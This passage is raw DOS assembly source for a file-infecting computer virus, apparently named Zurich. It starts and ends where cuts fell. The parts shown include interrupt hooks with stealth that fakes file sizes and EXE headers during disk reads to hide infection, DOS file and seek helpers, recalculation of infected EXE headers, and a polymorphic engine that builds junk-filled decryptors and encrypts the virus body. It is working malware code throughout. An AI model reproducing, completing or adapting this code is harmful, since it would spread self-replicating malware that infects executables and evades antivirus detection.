mov al, opJMPFAR ;jmp far
stosb
lea ax, memory_virentry ;stealth_abs_read
stosw
mov ax, cs
stosw
pop ax di es
popf
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel memory_virentry
pop cs:[ret_sux]
push cs:[ret_sux]
push ax
mov ax, cs:[vir_heap._hook]
cmp ax, cs:[ret_sux]
pop ax
DOIF NE ;"25"
call call_real_25
DOIF NC
mov cs:[vir_heap._after_goto], offset st25 ;-bfr_base
call user_proc
DONE
;Äencrypt memoryÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retf
;sssuxx db ?
DONE
pop dword ptr cs:[ret_hook]
add cs:[ret_hook.lo], 6
; mov cs:[sssuxx], ah
; cmp ah, 4Fh
; DOIF E
; int 2bh
; DONE
cmp ah, 51h ;reENTER virus, need for DRDOS
DOIF E
continue21_1:
jmp continue21
DONE
mov cs:[vir_heap._after_goto], offset selector21
mov byte ptr cs:[retu], opCMP_ALimm ;retu_off-retu-1
call user_proc ;selector; write new after_goto
mov byte ptr cs:[dos_cf], r2-r1
call user_proc ;before DOS of double selector
pblabel retu
jmp SHORT continue21_1
; jmp continue21
;Äencrypt memoryÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;pblabel retu_off
call DosCall ;DOS
db opSEGCS, 0C7h, 06h
dw vir_heap._after_goto
pblabel after_dos_goto
dw UNINIT
db 72h ;jc
pblabel dos_cf
db r2-r1
pblabel r1
call user_proc ;after DOS
pblabel r2
sti ;!!!!!!!!!
;Äencrypt memoryÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retf 2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel DosTruncate
sub cx, cx
pblabel doswrite_from_heap
lea dx, [heap] ;from heap
jmp doswrite
;-+------------------------------------------------------------------------+-
pblabel DosWrite_shbuf_22
mov cx, HDRBUFSIZE
pblabel DosWrite_shbuf
lea dx, [vir_heap._ziphdr]
pblabel DosWrite
mov ah, 40h
jmp DosCall_exc
;-+------------------------------------------------------------------------+-
pblabel read_buf_22
mov cx, HDRBUFSIZE
pblabel read_buf_cx
lea dx, [vir_heap._shift_buffer]
pblabel dosread
mov ah, 3Fh
pblabel DosCall_exc

call DosCall
jnc $$ret ;®¡à ¡®âª  ®è¨¡®ª „Ž‘  (?)
;int 2bh
; cmp [close_on_error], 3eh ;3e-no close
; DOIF NE
; call dosclose
; DONE
jmp rt_err ; ¢®ááâ ­®¢¨âì SP ¨ ¢¥à­ãâìáï ¢ userproc
;-+------------------------------------------------------------------------+-

pblabel dosclose
mov ah, 3Eh
; mov [close_on_error], ah
jmp DosCall_exc
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel dostell
xor dx, dx
pblabel dosseek_cur_cx_0
xor cx, cx
jmp dosseek_cur
;-+------------------------------------------------------------------------+-
pblabel dosseek_cur_neg_ax
xchg dx, ax
pblabel dosseek_cur_neg_dx
neg dx
jns dosseek_cur_cx_0 ; if dx > 0
;-+------------------------------------------------------------------------+-
pblabel dosseek_cur_cx_1
mov cx, -1
pblabel dosseek_cur
mov al, 01h
jmp DosSeek_all
;-+------------------------------------------------------------------------+-
pblabel dosseek_bof
sub dx, dx
pblabel dosseek_cx_0
sub cx, cx
pblabel dosseek
mov al, 00h
pblabel DosSeek_all
mov ah, 42h
pblabel DosCall
pushf
push cs
call continue21
$$ret:
ret
pblabel seek_end
mov al, 02h ;seek_end
xor dx, dx
xor cx, cx
jmp DosSeek_all ;dx:ax - filesize
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel calc_hdr_pages
mov cx, 200h ; dx:ax - new size
and dx, 0fh
div cx
mov [exehdr.exe_len_mod_512], dx ;ostatok
add dx, -1 ;dec dx ?
adc ax, 0
mov [exehdr.exe_pages], ax
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ends
end virus_entry

include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
extrn offset25 :dword
extrn call_real_25 :near
extrn restore_header :near
extrn stealthname :near
extrn test_size :near
extrn doscall :near
extrn get_sft :near
extrn dosread :near
extrn heap :near
extrn dosclose :near
extrn vir_heap :near
;-+------------------------------------------------------------------------+-
;-+-[ stealth 25 ]---------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
; dir entry stealth
; DS:SI = @dir_size_h
;-+------------------------------------------------------------------------+-
pblabel Stealth_Abs
ifInfJump Buf
mov ds:[si+(dir_size_l-dir_size_h)],ax ;stealth patch size in dir entry
mov ds:[si+(dir_size_h-dir_size_h)],dx
ret
;-+------------------------------------------------------------------------+-
; exe header int25 stealth ?
;-+------------------------------------------------------------------------+-

pblabel Stealth_Abs_r
ifInfJump Buf
push ds
MOVSEG ds, ss
push ax dx ;real file size
lea dx, file_for_fake_open
mov ax, 3D40h ;open readonly
call DosCall
xchg bx, ax ; DPB offset in AX
pop dx ax
DOIF NC
push bx ;handle
call get_sft
; mov es:[di.sf_position.lo], ax
; mov es:[di.sf_position.hi], dx
push ax dx ;file size
inc ah
mov es:[di.sf_size.lo], ax
mov es:[di.sf_size.hi], dx
mov dl, [abs_read_drive] ;<<<<< gluk
and byte ptr es:[di+5], 11100000b
add byte ptr es:[di+5], dl
inc dx ;future: flop no stealth ? (to slow)
mov ah, 32h
call DosCall
mov es:[di.sf_devptr.lo], bx
mov es:[di.sf_devptr.hi], ds
xor cx, cx
mov dx, [start_sec.hi]
mov ax, [start_sec.lo]
sub ax, ds:dpb_first_sector[bx]
sbb dx, cx
mov cl, ds:dpb_cluster_mask[bx]
inc cx
div cx
and dx, dx ;if DX != 0 - error
DOIF Z
inc ax
inc ax
mov es:[di.sf_firclus], ax
mov word ptr es:[di+35h], ax
DONE
pop dx ax ;file size
pop bx
push si
call restore_header
pop di
scasw ;add di,2
pop es
push es
lea si, [heap]
mov cx, 16h/2
rep movsw
call dosclose
DONE
pop ds
ret
file_for_fake_open equ StealthName
;-+------------------------------------------------------------------------+-
; test after absolute read for exe-header & dir entry
;-+------------------------------------------------------------------------+-
pblabel st25
mov si, bx
xor ax, ax ;AbsDisk_start_sect.hi
cmp cx, -1 ;(inc cx, jz)?
DOIF E
mov dx, ds:[bx.AbsDisk_start_sect.lo]
mov ax, ds:[bx.AbsDisk_start_sect.hi]
lds si, ds:[bx.AbsDisk_buffer]
DONE ;here, DS:SI - read buffer
mov [start_sec.hi], ax
mov [start_sec.lo], dx
push si
lea di, [vir_heap._exehdr]
MOVSEG es, cs
mov cx, HDRBUFSIZE/2
rep movsw
pop si
call Stealth_Abs_r
DO
lodsb ;1
cmp al, 0
DOIF Z
end_search: ret
DONE
mov cx, 10d
DO
lodsb ;0B
cmp al, ' '
jb end_search ;no_dir_entry
CYCLE LU
lodsb ;attr of file ;15
mov cx, 10d
DO
lodsb ;16
cmp al, 0 ;unused, must be zero
jnz end_search ;no_dir_entry
CYCLE LU
add si, 6
lodsw ;dir_size_l
call test_size
DOIF Z
mov dl, [abs_read_drive] ; = $-1
inc dx ;future: flop no stealth ? (to slow)
push ds
mov ah, 32h
call DosCall
mov cl, ds:dpb_cluster_mask[bx]
mov ch, 0
inc cx
mov bx, ds:dpb_first_sector[bx]
pop ds
mov ax, ds:(dir_first-dir_size_h)[si]
dec ax
dec ax
cwd
mul cx
add ax, bx
adc dx, 0 ;dx:ax-first sector
push ds
MOVSEG ds, cs
lea bx, [heap]
mov word ptr [bx.AbsDisk_start_sect.lo], ax
mov word ptr [bx.AbsDisk_start_sect.hi], dx
mov word ptr [bx.AbsDisk_sect_num], 1
mov word ptr [bx.AbsDisk_buffer.lo], bx
mov word ptr [bx.AbsDisk_buffer.hi], ds
mov al, [abs_read_drive]
mov cx, -1
call call_real_25
push si
mov cx, HDRBUFSIZE/2
lea si, [heap]
lea di, [vir_heap._exehdr]
movseg es, cs
rep movsw
pop si
pop ds
call Stealth_Abs
DONE
lodsw
CYCLE
;-+------------------------------------------------------------------------+-
ends
end

code segment byte public
assume cs:code, ds:code, es:code, ss:code

INCLUDE ZURICH.ASI

extrn dataencriptor :near
extrn start_data :near
extrn _____ :byte
extrn heap :near
extrn vir_heap :near
extrn get_cur_time :near
extrn RANDOMIZE :near
extrn dosseek_bof :near
extrn read_buf_22 :near

.LALL

pblabel crypt_exe_header
;int 2bh
; push ax dx
; call dosseek_bof
; call read_buf_22
; pop dx ax
mov si, [exehdr.exe_par_dir]
shl si, 4
sub ax, si
sbb dx, 0
pblabel crypt_exe_header_custom
movseg ds, ss
movseg es, ss

;int 2bh
; movseg ds, cs
call RANDOMIZE
lea si, [vir_heap._exehdr.exe_len_mod_512]
lea di, [heap]
mov cx, exe_rle_table-exe_len_mod_512 ;14h
mov [engdata.zmefl], zmeflHDR
jmp ZME_crypt_custom
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel ZME_crypt
cld
mov [engdata.zmefl], ax
mov [_____], al
call RND_INIT
call get_cur_time
mov [last_infect_time], ax
mov si, VIRUSSTACKSIZE
mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
pblabel ZME_crypt_custom
mov [engdata.datasize], cx
mov [engdata.targetptr], di
rep movsb ;copy data
;< set next version probabilitys [di-virs-VIRUSSTACKSIZE+prEXE]


mov [engdata.jmp_after_decrypt], 0
test [engdata.cur_cryptlevel], 80h
jz ZME_crypt_
call ZME_crypt_ ;;;double crypt
mov di, [engdata.targetptr]
mov [engdata.jmp_after_decrypt], ax ;
mov [engdata.datasize], cx
add di, cx
pblabel ZME_crypt_
push bx
test [engdata.zmeflags], MASK EN_BFR_GARBL
DOIF NZ
call RND_GET_BYTE
inc ah
add [engdata.datasize], ax
call shit_ax
DONE
;-----------------------------------------------------------------------------
; ZME_INIT

lea si, [vir_heap._engdata.cJMP_patch]
mov cx, reg6- segm_IDT ; clear the work area with 0's
DO
mov [si],ch ;
inc si ;
CYCLE LU
pblabel bad_reg
DO
call RND_GET_THREE_BITS
or al,010b ;AL := R_DX, R_BX, R_SI, R_DI
cmp al,R_DX
CYCLE E ; not R_DX
lea bx, [vir_heap._engdata.reg0]
mov cx, 7
jmp SHORT ffound
DO
DO
lea si, [vir_heap._engdata.reg0-1]
call RND_GET_THREE_BITS
pblabel fill_registers
inc si
cmp si,bx
EXIT E
cmp al,R_SP
REPEAT E
cmp al,[si]
jne fill_registers
CYCLE
pblabel ffound
mov [bx],al
inc bx
CYCLE LU

call RND_GET_BYTE ; X < decriptor_data + initialIP
mov [engdata.value_X],ax ; or X > decriptor_data+initialIP+datasize+2

call RND_GET_BYTE ; Y < decriptor_data + initialIP - X
mov [engdata.value_Y],ax ; or Y > decriptor_data+initialIP+datasize+2-X

mov cx, [engdata.datasize]
sub cx, 20h
mov ax, 3
DOIF A
DO
call RND_GET
cmp ax, cx
CYCLE A
or al,101b
DONE
mov [engdata.value_J], ax ;value_J := 1..datasize-0E

;-----------------------------------------------------------------
mov ax, di
sub ax, [engdata.targetptr]
push ax
; cmp byte ptr [engdata.zmefl+1], (zmeflOBJ shr 8) and 0FFh
; DOIF E
; lea si, PMtest
; mov cx, 0Fh
; rep movsb
; DONE

;IRP foo, <50,B8,86,16,CD,2F,58,75,06,5F,55,8B,EC,FF,E7>
;sto_byte 0&foo&h
;ENDM

;store test for PM
;mov ax,1600 (1686) ; 0B8h, 86h, 16h, 0CDh, 2Fh, 75,
;int 2f
;cmp ax,1600
;je real
;pop di
;push bp
;mov bp,sp
;jmp di
;real:

test [engdata.zmeflags], MASK EN_SAVE_REGS
DOIF NZ
IFDEF USE_PUSHA
sto_byte opPUSHA
ELSE
mov cx, 7
lea si, [vir_heap._engdata.reg0]
DO
lodsb
add al, opPUSH_AX
stosb
CYCLE LU
ENDIF
DONE

mov [engdata.useregs], REG_GARBL_ALL
lea si, [di+4]
DO
push si
mov ax, 0Bh*2
call force_not_branch_garble
pop si
cmp si, di
CYCLE A
mov cl, [engdata.zmeflags]
IF EN_BFR_GARBL
shr cl, EN_BFR_GARBL
ENDIF
and cx, MASK EN_BFR_GARBL
DOIF NZ
push cx
call garble_more_reg_all
call encode_int21
pop cx
CYCLE LU
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ENCODE_CRYPT_ROUTINE
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov [engdata.useregs], REG_GARBL_ALL ;
mov [engdata.begin_sub], 0 ;DON'T ENCODE CALL BACKWARD INTO DECRYPTOR
lea si, [dataencriptor]
mov cx, CRYPTLEVEL*4
DO
mov byte ptr [si], opNOP
inc si
CYCLE LU
mov byte ptr [si], opRETN
call garble_more
test [engdata.zmeflags], MASK EN_RELOCATOR
DOIF NZ ; encode relocator
sto_byte opCALL
call RND_GET_THREE_BITS
inc ax
stosw
mov [engdata.relocator_base], di
call SHIT_AX
call garble_more
mov al, [engdata.reg0]
add al, opPOP_AX ;pop r0
stosb
call garble_more
call encode_reloc_patch
mov [engdata.reloff_1], di
stosw
call encode_reloc_patch
mov [engdata.reloff_2], di
stosw
DONE
call garble_more
mov cl, [engdata.reg0]
call encode_zero_reg ;encode MOV IDX ,0
call garble_more
mov cl, [engdata.reg2] ;encode MOV TMP1, some
call encode_mov
mov [engdata.start_reg2], di
stosw
call garble_more
mov cl, [engdata.reg3] ;encode MOV TMP2, some
call encode_mov
mov [engdata.start_reg3], di
stosw
call garble_more
mov [engdata.loop_top], di ;loop peak
call garble_more
mov ax, [engdata.value_X]
call encode_add
call garble_more
mov cl, 4 ; 87 or 8B
call encode_reg_mem
mov ax, [engdata.value_X]
neg ax
push ax ;-(X+1)
mov bx, [engdata.reloff_1]
call encode_mem_access
mov cl, [engdata.cur_cryptlevel]
and cx, 7Fh ;mask ?
DO
push cx
mov [engdata.useregs], REG_ENC_ALL ;SET USED 1..3
call encode_one_crypt
mov [engdata.useregs], REG_GARBL_ALL ;SET USED 4..6
pop cx
cmp cl, 5
DOIF E
call garble_more
mov ax, [engdata.value_Y]
call encode_add
DONE
CYCLE LU
mov [engdata.useregs], REG_GARBL_ALL ;SET USED 4..6
mov cl, 2 ; 87 or 89
call encode_reg_mem
pop ax ;-(X+1)
sub ax, [engdata.value_Y]
push ax ;-(X+Y)

mov bx, [engdata.reloff_2]
call encode_mem_access
pop ax ;-(X+Y)
sub ax, [engdata.value_J] ;-(J+X+Y)
call encode_add
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; encoding GOTO loop_top
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov [engdata.useregs], REG_GARBL_ALL or MASK REG_ENC ;
mov al, opJC ;encode JC ;
call do_cond_jmp ;JC
call many_nonbranch_garble ;Shit
mov ax, [engdata.datasize] ;
dec ax ;
call encode_add ;ADD INDEX,value_J
call finish_cJMP
mov al, opJZ ;encode JZ ;JZ
call do_cond_jmp ;
call many_nonbranch_garble ;Shit
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ENCODE JMP NEAR Loop_Top ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ
call encode_jmp_near
mov ax, [engdata.loop_top]
xor bx, bx
xchg bx, [engdata.nJMP_patch]
add [bx], ax
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov [engdata.useregs], REG_ALL ;;SET USED 0..6
call finish_cJMP
call garble_more ;
;ÄÂÂÂÄÂÂÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;ÄÅÁÅÂÁÅÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;ÄÁÄÁÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

;---------------------------------------------------------------------------
;sto_two_byte 0cdh, 2Bh
test [engdata.zmeflags], MASK EN_SAVE_REGS
DOIF NZ
IFDEF USE_PUSHA
sto_byte opPOPA
ELSE
mov cx, 7
lea si, [vir_heap._engdata.reg6]
DO
std
lodsb
add al, opPOP_AX
cld
stosb
CYCLE LU
ENDIF
DONE

test [engdata.zmeflags], MASK EN_USE_JMPS
DOIF Z
sto_byte opRETN
DONE

call encode_jmp_near
mov ax, [engdata.targetptr]
add ax, [engdata.jmp_after_decrypt]
mov bx, [engdata.nJMP_patch]
add [bx], ax
;crypt data
;ÄÅÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄ
;ÄÅÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄ
;ÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ----------
push di
mov di, [engdata.targetptr]
mov si, [engdata.datasize]
dec si
xor bx, bx
call RND_GET
xchg ax, cx
call RND_GET
xchg ax, dx
DO
add bx, [engdata.value_J]
sub bx, si
DOIF C
add bx, si
DONE
mov ax, [di][bx]
call dataencriptor ;call encryptor
mov [di][bx], ax
and bx, bx
CYCLE NZ
mov si, [engdata.start_reg2]
mov word ptr [si], cx
mov si, [engdata.start_reg3]
mov word ptr [si], dx
pop di
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov cx, di
sub cx, [engdata.targetptr]
pop ax
pop bx

ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÄÂÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄ
;ÄÅÄÄÄÄÄÄÂÄÁÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄ
; ÀÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÁ ÄÁÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ
pblabel encode_reloc_patch ;add cs:[r0.(offset addbuf1-relocator_base)], r0
call garble_more
sto_two_byte opSEGCS, 01
mov al, [engdata.reg0]
mov cl, 9
mul cl
or al, 10000100b
cmp al, (R_BX*9) or 10000100b
DOIF NE
xor al, 00000010b
DONE
stosb
mov ax, [engdata.relocator_base]
neg ax
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ
pblabel encode_mem_access
push ax
add ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
and bx, bx
DOIF NZ
add [bx], di
sub ax, [engdata.relocator_base]
add ax, [engdata.targetptr]
sub ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
DONE
stosw
pop ax
jmp garble_more
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ
pblabel encode_zero_reg ;cl-register result - 2 byte stored
call RND_GET_BYTE
and al, 8
add al, 2Bh
stosb ;store SUB | XOR R,R : 29, 2Bh, 31, 33
mov al, 9 ;cl-register
mul cl
or al, MASK M0D
stosb
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel shit
call RND_GET_THREE_BITS
shr al,1
inc ax
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel shit_AX
xchg cx,ax
